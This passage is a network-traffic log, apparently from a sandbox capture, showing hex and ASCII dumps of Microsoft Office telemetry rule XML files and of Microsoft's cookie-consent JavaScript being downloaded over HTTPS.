20241121T132651Z-178bfbc474b9xljthC1NYCtw94000000019g00000000qfwf Accept-Ranges: bytes
2024-11-21 13:26:51 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-21 13:26:51 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-21 13:26:51 UTC	712	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-21 13:26:52 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button
2024-11-21 13:26:52 UTC	3566	IN	Data Raw: 22 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 Data Ascii: "-")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChang

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:51 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ca94d1e-301e-0000-0f9c-3beecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132651Z-1777c6cb754mrj2shC1TEB6k7w0000000bcg00000000045b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:52 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132652Z-178bfbc474bwh9gmhC1NYCy3rs00000001ng000000007s14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:52 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:52 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 137cb315-101e-0017-3264-3b47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132652Z-178bfbc474bv7whqhC1NYC1fg400000001dg00000000n154 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:52 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:52 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:52 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132652Z-r1d97b99577gg97qhC1TEBcrf40000000a80000000008stq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:52 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:52 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:52 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:52 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132652Z-1777c6cb754gvvgfhC1TEBz4rg0000000b6g00000000aya2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:26:54 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 04c68412-701e-000d-5268-3b6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132653Z-178bfbc474btrnf9hC1NYCb80g00000001ng00000000gy87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:26:54 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49805	13.107.246.44	443	3608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:26:53 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-21 13:26:54 UTC	713	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:26:54 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 22880 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 09b6fa6f-101e-0038-42e3-3b8981000000 x-ms-version: 2009-09-19 x-azure-ref: 20241121T132654Z-178bfbc474bvjk8shC1NYC83ns00000001d0000000007kee Accept-Ranges: bytes
2024-11-21 13:26:54 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-21 13:26:54 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-21 13:26:55 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
